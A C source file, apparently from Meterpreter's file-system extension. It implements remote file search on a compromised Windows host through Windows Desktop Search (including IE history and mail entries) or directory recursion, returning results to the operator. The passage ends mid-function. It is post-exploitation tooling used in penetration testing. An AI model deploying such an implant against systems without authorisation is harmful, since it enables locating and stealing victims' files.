/*
 * Meterpreter support for searching the file system on Windows for a file pattern. 
 * Supports Windows NT4 up to and including Windows 7. When available it will 
 * leverage the local index via Windows Desktop Search (WDS) to speed up the search
 * process. WDS version 2 is supported for older systems (Windows 2000/XP/2003), 
 * and version 3 is supported for newer systems (Vista and above by default, Windows
 * XP/2003 with an addon). When a directory is not indexed the fallback search 
 * technique uses FindFirstFile/FindNextFile.
 *
 * sf - August 2010
 */
#include "precomp.h"
#include "fs.h"
#include "search.h"

/*
 * Helper function to add a search result to the response packet.
 */
VOID search_add_result( Packet * pResponse, char * cpDirectory, char * cpFileName, DWORD dwFileSize )
{	
	Tlv entry[3] = {0};
	DWORD dwSize = 0;

	do
	{
		entry[0].header.type   = TLV_TYPE_FILE_PATH;
		entry[0].header.length = (DWORD)( strlen(cpDirectory) + 1 );
		entry[0].buffer        = cpDirectory;

		entry[1].header.type   = TLV_TYPE_FILE_NAME;
		entry[1].header.length = (DWORD)( strlen(cpFileName) + 1 );
		entry[1].buffer        = cpFileName;

		dwSize = htonl( dwFileSize );
		entry[2].header.type   = TLV_TYPE_FILE_SIZE;
		entry[2].header.length = sizeof(DWORD);
		entry[2].buffer        = (PUCHAR)&dwSize;

		packet_add_tlv_group( pResponse, TLV_TYPE_SEARCH_RESULTS, entry, 3 );

	} while( 0 );
}

/*
 * Helper function to initilize the Windows Desktop Search v2 and v3 interfaces (if available).
 */
VOID wds_startup( WDS_INTERFACE * pWDSInterface )
{
	DWORD dwResult = ERROR_SUCCESS;
	HRESULT hr     = 0;

	do
	{
		if( !pWDSInterface )
			BREAK_WITH_ERROR( "[SEARCH] wds_startup: !pWDSInterface", ERROR_INVALID_HANDLE );

		memset( pWDSInterface, 0, sizeof(WDS_INTERFACE) );

		hr = CoInitialize( NULL );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds_startup: CoInitializeEx Failed", hr );

		do
		{
			pWDSInterface->hQuery = LoadLibraryA( "query.dll" );
			if( !pWDSInterface->hQuery )
				BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: LoadLibraryA query.dll Failed" );

			pWDSInterface->pLocateCatalogsA = (LOCATECATALOGSA)GetProcAddress( pWDSInterface->hQuery, "LocateCatalogsA" );
			if( !pWDSInterface->pLocateCatalogsA )
				BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress LocateCatalogsA Failed" );

			pWDSInterface->pCIMakeICommand = (CIMAKEICOMMAND)GetProcAddress( pWDSInterface->hQuery, "CIMakeICommand" );
			if( !pWDSInterface->pCIMakeICommand )
				BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CIMakeICommand Failed" );

			pWDSInterface->pCITextToFullTree = (CITEXTTOFULLTREE)GetProcAddress( pWDSInterface->hQuery, "CITextToFullTree" );
			if( !pWDSInterface->pCITextToFullTree )
				BREAK_ON_ERROR( "[SEARCH] wds_startup:v2: GetProcAddress CITextToFullTree Failed" );
			
			pWDSInterface->bWDS2Available = TRUE;

		} while( 0 );

		do
		{
			hr = CoCreateInstance( &_CLSID_CSearchManager, NULL, CLSCTX_ALL, &_IID_ISearchManager, (LPVOID *)&pWDSInterface->pSearchManager );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: CoCreateInstance _IID_ISearchManager Failed", hr );

			hr = ISearchManager_GetCatalog( pWDSInterface->pSearchManager, L"SystemIndex", &pWDSInterface->pSearchCatalogManager );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchManager_GetCatalog Failed", hr );

			hr = ISearchCatalogManager_GetCrawlScopeManager( pWDSInterface->pSearchCatalogManager, &pWDSInterface->pCrawlScopeManager );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_startup:v3: ISearchCatalogManager_GetCrawlScopeManager Failed", hr );
				
			pWDSInterface->bWDS3Available = TRUE;

		} while( 0 );

	} while( 0 );
}

/*
 * Helper function to cleanup the Windows Desktop Search v2 and v3 interfaces.
 */
VOID wds_shutdown( WDS_INTERFACE * pWDSInterface )
{
	do
	{
		if( !pWDSInterface )
			break;

		if( pWDSInterface->hQuery )
			FreeLibrary( pWDSInterface->hQuery );

		pWDSInterface->pLocateCatalogsA  = NULL;
		pWDSInterface->pCIMakeICommand   = NULL;
		pWDSInterface->pCITextToFullTree = NULL;

		pWDSInterface->bWDS2Available    = FALSE;

		if( pWDSInterface->pCrawlScopeManager )
		{
			ISearchCrawlScopeManager_Release( pWDSInterface->pCrawlScopeManager );
			pWDSInterface->pCrawlScopeManager = NULL;
		}

		if( pWDSInterface->pSearchCatalogManager )
		{
			ISearchCatalogManager_Release( pWDSInterface->pSearchCatalogManager );
			pWDSInterface->pSearchCatalogManager = NULL;
		}

		if( pWDSInterface->pSearchManager )
		{
			ISearchManager_Release( pWDSInterface->pSearchManager );
			pWDSInterface->pSearchManager = NULL;
		}

		pWDSInterface->bWDS3Available = FALSE;

		CoUninitialize();

	} while( 0 );
}

/*
 * Helper function to check if a given directory is indexed in the WDS v2 system catalog on the local machine.
 */
BOOL wds2_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory )
{
	char cMachine[ MAX_COMPUTERNAME_LENGTH + 1 ] = {0};
	char cCatalog[ MAX_PATH + 1 ]                = {0};
	DWORD dwMachineLength                        = MAX_COMPUTERNAME_LENGTH + 1;
	DWORD dwCatalogLength                        = MAX_PATH + 1 ;
	DWORD dwIndex                                = 0;

	do
	{
		if( !pWDSInterface->bWDS2Available )
			break;

		while( TRUE )
		{
			if( pWDSInterface->pLocateCatalogsA( cpDirectory, dwIndex++, cMachine, &dwMachineLength, cCatalog, &dwCatalogLength ) != S_OK )
				break;

			if( strcmp( cMachine, "." ) != 0 )
				continue;

			if( _memicmp( "system", cCatalog, 6 ) != 0 )
				continue;

			dprintf( "[SEARCH] wds2_indexed: Directory '%s' is indexed.", cpDirectory );

			return TRUE;
		}

	} while( 0 );

	return FALSE;
}

/*
 * Helper function to check if a given directory is indexed in the WDS v3 crawl scope
 */
BOOL wds3_indexed( WDS_INTERFACE * pWDSInterface, char * cpDirectory )
{
	HRESULT hr          = 0;
	size_t dwLength     = 0;
	WCHAR * wpDirectory = NULL;
	BOOL bResult        = FALSE;

	do
	{
		if( !pWDSInterface->bWDS3Available )
			break;

		dwLength = mbstowcs( NULL, cpDirectory, 0 ) + 1;

		wpDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
		if( !wpDirectory )
			break;

		memset( wpDirectory, 0, dwLength * sizeof(WCHAR) );
				
		if( mbstowcs( wpDirectory, cpDirectory, dwLength ) == -1 )
			break;

		ISearchCrawlScopeManager_IncludedInCrawlScope( pWDSInterface->pCrawlScopeManager, wpDirectory, &bResult );

	} while( 0 );

	if( wpDirectory )
		free( wpDirectory );

	return bResult;
}

/*
 * Helper function to execute a WDS v2 or v3 search via COM and process
 * any results (assumes rows have columns of 'size,path').
 */
HRESULT wds_execute( ICommand * pCommand, Packet * pResponse )
{
	IRowset * pRowset           = NULL;
	IAccessor * pAccessor       = NULL;
	size_t dwLength             = 0;
	HACCESSOR hAccessor         = 0;
	DBCOUNTITEM dbCount         = 0;
	DWORD dwResult              = 0;
	HRESULT hr                  = 0;
	DBBINDING dbBindings[2]     = {0};
	SEARCH_ROW rowSearchResults = {0};
	HROW hRow[1]                = {0};
	HROW * pRows                = &hRow[0];

	do
	{
		hr = ICommand_Execute( pCommand, NULL, &_IID_IRowset, NULL, NULL, (IUnknown**)&pRowset );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds_execute: ICommand_Execute Failed", hr );
		
		hr = IRowset_QueryInterface( pRowset, &_IID_IAccessor, (LPVOID *)&pAccessor );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_QueryInterface _IID_IAccessor Failed", hr );

		memset( &dbBindings, 0, sizeof(DBBINDING)*2 );

		dbBindings[0].iOrdinal   = 1;
		dbBindings[0].dwPart     = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE;
		dbBindings[0].dwMemOwner = DBMEMOWNER_CLIENTOWNED;
		dbBindings[0].cbMaxLen   = sizeof(DWORD);
		dbBindings[0].dwFlags    = 0;
		dbBindings[0].eParamIO   = DBPARAMIO_NOTPARAM;
		dbBindings[0].wType      = DBTYPE_I4;
		dbBindings[0].obStatus   = offsetof( SEARCH_ROW, dbSizeStatus );
		dbBindings[0].obLength   = offsetof( SEARCH_ROW, dwSizeLength );
		dbBindings[0].obValue    = offsetof( SEARCH_ROW, dwSizeValue );

		dbBindings[1].iOrdinal   = 2;
		dbBindings[1].dwPart     = DBPART_STATUS | DBPART_LENGTH | DBPART_VALUE;
		dbBindings[1].dwMemOwner = DBMEMOWNER_CLIENTOWNED;
		dbBindings[1].cbMaxLen   = MAX_PATH;
		dbBindings[1].dwFlags    = 0;
		dbBindings[1].eParamIO   = DBPARAMIO_NOTPARAM;
		dbBindings[1].wType      = DBTYPE_STR;
		dbBindings[1].obStatus   = offsetof( SEARCH_ROW, dbPathStatus );
		dbBindings[1].obLength   = offsetof( SEARCH_ROW, dwPathLength );
		dbBindings[1].obValue    = offsetof( SEARCH_ROW, cPathValue );

		hr = IAccessor_CreateAccessor( pAccessor, DBACCESSOR_ROWDATA, 2, (DBBINDING *)&dbBindings, 0, &hAccessor, NULL );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds_execute: IAccessor_CreateAccessor Failed", hr );
		
		while( TRUE )
		{
			memset( &rowSearchResults, 0, sizeof(SEARCH_ROW) );

			hr = IRowset_GetNextRows( pRowset, DB_NULL_HCHAPTER, 0, 1, &dbCount, (HROW **)&pRows );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetNextRows Failed", hr );

			if( !dbCount )
				BREAK_WITH_ERROR( "[SEARCH] wds_execute: No more rows to get.", ERROR_SUCCESS );

			hr = IRowset_GetData( pRowset, hRow[0], hAccessor, &rowSearchResults );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_GetData Failed", hr );
			
			if( _memicmp( "iehistory:", rowSearchResults.cPathValue, 10 ) == 0 )
			{
				// "iehistory://{*}/"
				char * cpHistory = strstr( rowSearchResults.cPathValue, "}" );
				if( cpHistory )
					search_add_result( pResponse, "", cpHistory+2, 0 );
			}
			else if( _memicmp( "mapi:", rowSearchResults.cPathValue, 5 ) == 0 )
			{
				// "mapi://{*}/"
				char * cpHistory = strstr( rowSearchResults.cPathValue, "}" );
				if( cpHistory )
					search_add_result( pResponse, "", cpHistory+2, 0 );
			}
			else if( rowSearchResults.dwSizeValue > 0 )
			{
				size_t i           = 0;
				char * cpFileName  = "";
				char * cpFile      = "";
				char * cpDirectory = (char *)&rowSearchResults.cPathValue;

				if( _memicmp( "file:", cpDirectory, strlen("file:") ) == 0 )
					cpDirectory = (char *)( cpDirectory + strlen("file:") );

				for( i=0 ; i<strlen(cpDirectory) ; i++ )
				{
					if( cpDirectory[i] == '/' )
						cpDirectory[i] = '\\';
				}

				cpFile = strrchr( cpDirectory, '\\' );
				if( cpFile )
				{
					*cpFile    = '\x00';
					cpFileName = cpFile + 1;
				}
				else
				{
					cpDirectory = "";
					cpFileName  = cpDirectory;
				}

				search_add_result( pResponse, cpDirectory, cpFileName, rowSearchResults.dwSizeValue );

				dprintf( "[SEARCH] wds_execute. Found: %s\\%s", cpDirectory, cpFileName );
			}

			hr = IRowset_ReleaseRows( pRowset, dbCount, pRows, NULL, NULL, NULL );
			if( FAILED( hr ) )
				BREAK_WITH_ERROR( "[SEARCH] wds_execute: IRowset_ReleaseRows Failed", hr );
		}

	} while( 0 );

	if( pAccessor )
	{
		IAccessor_ReleaseAccessor( pAccessor, hAccessor, NULL );
		IAccessor_Release( pAccessor );
	}

	if( pRowset )
		IRowset_Release( pRowset );

	return dwResult;
}

/*
 * Search via Windows Desktop Search v2 via COM
 */
DWORD wds2_search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
	DWORD dwResult              = ERROR_SUCCESS;
	ICommand * pCommand         = NULL;
	DBCOMMANDTREE * pTree       = NULL;
	ICommandTree * pCommandTree = NULL;
	WCHAR * wpQuery             = NULL;
	WCHAR * wpFileGlob          = NULL;
	WCHAR * wpCurrentDirectory  = NULL;
	char * cpNewCurrent         = NULL;
	DWORD dwDepth[1]            = {0};
	WCHAR * wcScope[1]          = {0};
	WCHAR * wcCatalog[1]        = {0};
	WCHAR * wcMachines[1]       = {0};
	HRESULT hr                  = 0;
	size_t dwLength             = 0;


	dprintf( "[SEARCH] wds2_search: Starting..." );

	do
	{
		if( !pWDSInterface  )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pWDSInterface", ERROR_INVALID_PARAMETER );

		if( !pWDSInterface->bWDS2Available )
			break;

		if( !pResponse || !pOptions )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: !pResultList || !pOptions", ERROR_INVALID_PARAMETER );

		if( !cpCurrentDirectory )
			cpCurrentDirectory = pOptions->cpRootDirectory;
				
		// sf: WDS v2 can bawk if a trailing slash is not present on some paths :/
		dwLength = strlen( cpCurrentDirectory );
		if( cpCurrentDirectory[dwLength-1] != '\\' )
		{
			cpNewCurrent = (char *)malloc( dwLength + 2 );
			if( !cpNewCurrent )
				BREAK_WITH_ERROR( "[SEARCH] wds2_search: !cpNewCurrent", ERROR_OUTOFMEMORY );

			memset( cpNewCurrent, 0, dwLength + 2 );

			sprintf( cpNewCurrent, "%s\\", cpCurrentDirectory );

			cpCurrentDirectory = cpNewCurrent;
		}

		if( pOptions->bResursive )
			dwDepth[0] = QUERY_DEEP | QUERY_PHYSICAL_PATH;
		else
			dwDepth[0] = QUERY_SHALLOW | QUERY_PHYSICAL_PATH;

		dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1;
	
		wpCurrentDirectory = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
		if( !wpCurrentDirectory )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpCurrentDirectory", ERROR_OUTOFMEMORY );
		
		memset( wpCurrentDirectory, 0, dwLength * sizeof(WCHAR) );
		
		if( mbstowcs( wpCurrentDirectory, cpCurrentDirectory, dwLength ) == -1 )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpCurrentDirectory failed", ERROR_INVALID_PARAMETER );

		wcScope[0]    = wpCurrentDirectory;
		wcCatalog[0]  = L"System";
		wcMachines[0] = L".";

		hr = pWDSInterface->pCIMakeICommand( (ICommand**)&pCommand, 1, (DWORD *)&dwDepth, (WCHAR **)&wcScope, (WCHAR **)&wcCatalog, (WCHAR **)&wcMachines );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: CIMakeICommand Failed", hr );

		hr = ICommand_QueryInterface( pCommand, &_IID_ICommandTree, (LPVOID *)&pCommandTree );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommand_QueryInterface Failed", hr );

		dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1;

		wpFileGlob = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
		if( !wpFileGlob )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpFileGlob", ERROR_OUTOFMEMORY );

		wpQuery = (WCHAR *)malloc( ( dwLength + 128 ) * sizeof(WCHAR) );
		if( !wpQuery )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: !wpQuery", ERROR_OUTOFMEMORY );

		memset( wpFileGlob, 0, dwLength * sizeof(WCHAR) );
		memset( wpQuery, 0, ( dwLength + 128 ) * sizeof(WCHAR) );

		if( mbstowcs( wpFileGlob, pOptions->cpFileGlob, dwLength ) == -1 )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: mbstowcs wpFileGlob failed", ERROR_INVALID_PARAMETER );

		swprintf_s( wpQuery, ( dwLength + 128 ), L"#filename = %s", wpFileGlob );

		hr = pWDSInterface->pCITextToFullTree( wpQuery, L"size,path", NULL, NULL, &pTree, 0, NULL, GetSystemDefaultLCID() );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: CITextToFullTree Failed", hr );

		hr = ICommandTree_SetCommandTree( pCommandTree, &pTree, DBCOMMANDREUSE_NONE, FALSE );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: ICommandTree_SetCommandTree Failed", hr );

		hr = wds_execute( pCommand, pResponse );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds2_search: wds_execute Failed", hr );

	} while( 0 );

	if( pCommandTree )
		ICommandTree_Release( pCommandTree );

	if( pCommand )
		ICommand_Release( pCommand );

	if( wpFileGlob )
		free( wpFileGlob );

	if( wpQuery )
		free( wpQuery );

	if( wpCurrentDirectory )
		free( wpCurrentDirectory );
				
	if( cpNewCurrent )
		free( cpNewCurrent );

	dprintf( "[SEARCH] wds2_search: Finished." );
	
	return dwResult;
}

/*
 * Search via Windows Desktop Search >= 3.0 via COM ...yuk! would a kernel32!FileSearch( "*.doc" ) have killed them!?!?
 */
DWORD wds3_search( WDS_INTERFACE * pWDSInterface, WCHAR * wpProtocol, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
	DWORD dwResult                    = ERROR_SUCCESS;
	WCHAR * wpSQL                     = NULL;
	WCHAR * wpQuery                   = NULL;
	WCHAR * wpConnectionString        = NULL;
	ISearchQueryHelper * pQueryHelper = NULL;
	IDataInitialize * pDataInitialize = NULL;
	IDBInitialize * pIDBInitialize    = NULL;
	IDBCreateSession * pSession       = NULL;
	IOpenRowset * pOpenRowset         = NULL;
	IDBCreateCommand * pCreateCommand = NULL;
	ICommand * pCommand               = NULL;
	ICommandText * pCommandText       = NULL;
	HRESULT hr                        = 0;
	size_t dwLength                   = 0;

	dprintf( "[SEARCH] wds3_search: Starting..." );

	do
	{
		if( !pWDSInterface  )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: !pWDSInterface", ERROR_INVALID_PARAMETER );

		if( !pWDSInterface->bWDS3Available )
			break;

		if( !pResponse || !pOptions || !wpProtocol  )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: !pResultList || !pOptions || !wpProtocol", ERROR_INVALID_PARAMETER );

		if( !cpCurrentDirectory )
			cpCurrentDirectory = pOptions->cpRootDirectory;

		hr = ISearchCatalogManager_GetQueryHelper( pWDSInterface->pSearchCatalogManager, &pQueryHelper );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchCatalogManager_GetQueryHelper Failed", hr );

		hr = ISearchQueryHelper_put_QuerySelectColumns( pQueryHelper, L"size,path" );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_put_QuerySelectColumns Failed", hr );
		
		if( cpCurrentDirectory )
		{
			WCHAR * wpWhere         = NULL;
			WCHAR * wpRootDirectory = NULL;

			do
			{
				dwLength = mbstowcs( NULL, cpCurrentDirectory, 0 ) + 1;

				wpWhere = (WCHAR * )malloc( (dwLength+128) * sizeof(WCHAR) );
				if( !wpWhere )
					BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpWhere", ERROR_OUTOFMEMORY );

				wpRootDirectory = (WCHAR * )malloc( dwLength * sizeof(WCHAR) );
				if( !wpRootDirectory )
					BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpRootDirectory", ERROR_OUTOFMEMORY );

				memset( wpRootDirectory, 0, dwLength * sizeof(WCHAR) );

				if( mbstowcs( wpRootDirectory, cpCurrentDirectory, dwLength ) == -1 )
					BREAK_WITH_ERROR( "[SEARCH] wds3_search: mbstowcs wpRootDirectory failed", ERROR_INVALID_PARAMETER );

				if( pOptions->bResursive )
					wsprintfW( (LPWSTR)wpWhere, L"AND SCOPE='%s:%s'", wpProtocol, wpRootDirectory );
				else
					wsprintfW( (LPWSTR)wpWhere, L"AND DIRECTORY='%s:%s'", wpProtocol, wpRootDirectory );
			
				hr = ISearchQueryHelper_put_QueryWhereRestrictions( pQueryHelper, wpWhere );
				if( FAILED( hr ) )
					BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_put_QueryWhereRestrictions Failed", hr );

			} while( 0 );

			if( wpWhere )
				free( wpWhere );

			if( wpRootDirectory )
				free( wpRootDirectory );
		}

		dwLength = mbstowcs( NULL, pOptions->cpFileGlob, 0 ) + 1;

		wpQuery = (WCHAR *)malloc( dwLength * sizeof(WCHAR) );
		if( !wpQuery )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: !wpQuery", ERROR_OUTOFMEMORY );

		memset( wpQuery, 0, dwLength * sizeof(WCHAR) );

		if( mbstowcs( wpQuery, pOptions->cpFileGlob, dwLength ) == -1 )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: mbstowcs wpQuery failed", ERROR_INVALID_PARAMETER );

		hr = ISearchQueryHelper_GenerateSQLFromUserQuery( pQueryHelper, wpQuery, &wpSQL );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_GenerateSQLFromUserQuery Failed", hr );
		
		hr = CoCreateInstance( &_CLSID_MSDAInitialize, NULL, CLSCTX_ALL, &_IID_IDataInitialize, (LPVOID *)&pDataInitialize );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: CoCreateInstance _IID_IDataInitialize Failed", hr );

		hr = ISearchQueryHelper_get_ConnectionString( pQueryHelper, &wpConnectionString );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ISearchQueryHelper_get_ConnectionString _IID_IDataInitialize Failed", hr );

		hr = IDataInitialize_GetDataSource( pDataInitialize, NULL, CLSCTX_INPROC_SERVER, wpConnectionString, &_IID_IDBInitialize, (IUnknown**)&pIDBInitialize );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDataInitialize_GetDataSource Failed", hr );

		hr = IDBInitialize_Initialize( pIDBInitialize );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBInitialize_Initialize Failed", hr );

		hr = IDBInitialize_QueryInterface( pIDBInitialize, &_IID_IDBCreateSession, (LPVOID *)&pSession );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBInitialize_QueryInterface Failed", hr );

		hr = IDBCreateSession_CreateSession( pSession, NULL, &_IID_IOpenRowset, (IUnknown**)&pOpenRowset );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBCreateSession_CreateSession Failed", hr );

		hr = IOpenRowset_QueryInterface( pOpenRowset, &_IID_IDBCreateCommand, (LPVOID *)&pCreateCommand );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IOpenRowset_QueryInterface Failed", hr );

		hr = IDBCreateCommand_CreateCommand( pCreateCommand, NULL, &_IID_ICommand, (IUnknown**)&pCommand );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: IDBCreateCommand_CreateCommand Failed", hr );

		hr = ICommand_QueryInterface( pCommand, &_IID_ICommandText, (LPVOID *)&pCommandText );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ICommand_QueryInterface Failed", hr );

#ifdef DEBUGTRACE
		OutputDebugStringW( wpSQL );
#endif

		hr = ICommandText_SetCommandText( pCommandText, &DBGUID_DEFAULT, wpSQL ); 
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr );

		hr = wds_execute( pCommand, pResponse );
		if( FAILED( hr ) )
			BREAK_WITH_ERROR( "[SEARCH] wds3_search: wds_execute Failed", hr );

	} while( 0 );

	dprintf( "[SEARCH] wds3_search: Releasing COM objects..." );

	if( pCommandText )
		ICommandText_Release( pCommandText );

	if( pCreateCommand )
		IDBCreateCommand_Release( pCreateCommand );

	if( pCommand )
		ICommand_Release( pCommand );

	if( pOpenRowset )
		IOpenRowset_Release( pOpenRowset );

	if( pSession )
		IDBCreateSession_Release( pSession );
	
	if( pQueryHelper )
		ISearchQueryHelper_Release( pQueryHelper );

	if( pIDBInitialize )
		IDBInitialize_Release( pIDBInitialize );

	if( pDataInitialize )
		IDataInitialize_Release( pDataInitialize );

	if( wpQuery )
		free( wpQuery );

	dprintf( "[SEARCH] wds3_search: Finished." );

	return dwResult;
}

/*
 * Search a directory for files.
 */
DWORD search_directory( char * cpDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
	DWORD dwResult           = ERROR_SUCCESS;
	HANDLE hFile             = NULL;
	char * cpFirstFile       = NULL;
	WIN32_FIND_DATA FindData = {0};
	size_t dwLength          = 0;

	do
	{
		dwLength    = strlen( cpDirectory ) + strlen( pOptions->cpFileGlob ) + 32;
		cpFirstFile = (char *)malloc( dwLength );
		if( !cpFirstFile )
			BREAK_WITH_ERROR( "[SEARCH] search_directory: !cpFirstFile", ERROR_OUTOFMEMORY );

		sprintf_s( cpFirstFile, dwLength, "%s\\%s", cpDirectory, pOptions->cpFileGlob );

		hFile = FindFirstFile( cpFirstFile, &FindData );
		if( hFile == INVALID_HANDLE_VALUE )
		{
			// if not files in this directory matched our pattern, finish with success
			if( GetLastError() == ERROR_FILE_NOT_FOUND )
				break;
			// otherwise we fail with an error
			BREAK_ON_ERROR( "[SEARCH] search_directory: FindFirstFile Failed." );
		}

		do
		{
			do
			{
				if( strcmp( FindData.cFileName, "." ) == 0 )
					break;

				if( strcmp( FindData.cFileName, ".." ) == 0 )
					break;
				
				if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
					break;

				search_add_result( pResponse, cpDirectory, FindData.cFileName, FindData.nFileSizeLow );

				dprintf( "[SEARCH] search_directory. Found: %s\\%s", cpDirectory, FindData.cFileName  );

			} while( 0 );

		} while( FindNextFile( hFile, &FindData ) != 0  );

	} while( 0 );

	if( cpFirstFile )
		free( cpFirstFile );

	if( hFile )
		FindClose( hFile );

	return dwResult;
}

/*
 * Perform a file search using Windows Desktop Search (v2 or v3 depending what's available) 
 * and falling back to a FindFirstFile/FindNextFile search technique if not.
 */
DWORD search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse )
{
	DWORD dwResult           = ERROR_ACCESS_DENIED;
	HANDLE hFile             = NULL;
	char * cpFirstFile       = NULL;
	BOOL bAllreadySearched   = FALSE;
	WIN32_FIND_DATA FindData = {0};
	size_t dwLength          = 0;

	do
	{
		if( !pResponse || !pOptions )
			BREAK_WITH_ERROR( "[SEARCH] search: !pResponse || !pOptions", ERROR_INVALID_PARAMETER );

		if( !cpCurrentDirectory )
			cpCurrentDirectory = pOptions->cpRootDirectory;

		if( wds3_indexed( pWDSInterface, cpCurrentDirectory ) )
		{
			dwResult = wds3_search( pWDSInterface, L"file", cpCurrentDirectory, pOptions, pResponse );
		}

		if( dwResult != ERROR_SUCCESS && wds2_indexed( pWDSInterface, cpCurrentDirectory ) )
		{
			dwResult = wds2_search( pWDSInterface, cpCurrentDirectory, pOptions, pResponse );
		}

		if( dwResult != ERROR_SUCCESS )
		{
			dwResult    = ERROR_SUCCESS;
			dwLength    = strlen( cpCurrentDirectory ) + 32;
			cpFirstFile = (char *)malloc( dwLength );
			if( !cpFirstFile )
				BREAK_WITH_ERROR( "[SEARCH] search: !cpFirstFile", ERROR_OUTOFMEMORY );

			sprintf_s( cpFirstFile, dwLength, "%s\\*.*", cpCurrentDirectory );

			hFile = FindFirstFile( cpFirstFile, &FindData );
			if( hFile == INVALID_HANDLE_VALUE )
			{
				if( GetLastError() == ERROR_ACCESS_DENIED )
					break;
				BREAK_ON_ERROR( "[SEARCH] search: FindFirstFile Failed." );
			}
			do
			{
				if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
				{
					do
					{
						char * cpNextDirectory = NULL;
						
						if( !pOptions->bResursive )
							break;

						if( strcmp( FindData.cFileName, "." ) == 0 )
							break;

						if( strcmp( FindData.cFileName, ".." ) == 0 )
							break;

						dwLength        = strlen( cpCurrentDirectory ) + strlen( FindData.cFileName ) + 32;
						cpNextDirectory = (char *)malloc( dwLength );
						if( !cpNextDirectory )
							break;

						sprintf_s( cpNextDirectory, dwLength, "%s\\%s", cpCurrentDirectory, FindData.cFileName );

						dwResult = search( pWDSInterface, cpNextDirectory, pOptions, pResponse );

						free( cpNextDirectory );

					} while( 0 );
				}
				else
				{
					if( !bAllreadySearched )
					{
						// we call search_dir_via_api() to avail of glob searching via a second 
						// FindFirstFile() loop (which is available on NT4 and up, unlike PathMatchSpec())
						dwResult = search_directory( cpCurrentDirectory, pOptions, pResponse );
	
						bAllreadySearched = TRUE;
					}
				}

			} while( FindNextFile( hFile, &FindData ) != 0  );
		}

	} while( 0 );

	if( cpFirstFile )
		free( cpFirstFile );

	if( hFile )
		FindClose( hFile );

	return dwResult;
}

/*
 * Request routine for performing a file search.
 */
DWORD request_fs_search( Remote * pRemote, Packet * pPacket )
{
	DWORD dwResult              = ERROR_SUCCESS;
	Packet * pResponse          = NULL;
	SEARCH_OPTIONS * pOptions   = NULL;
	WDS_INTERFACE WDSInterface  = {0};

	dprintf( "[SEARCH] request_fs_search. Starting." );

	do
	{
		pResponse = packet_create_response( pPacket );
		if( !pResponse )
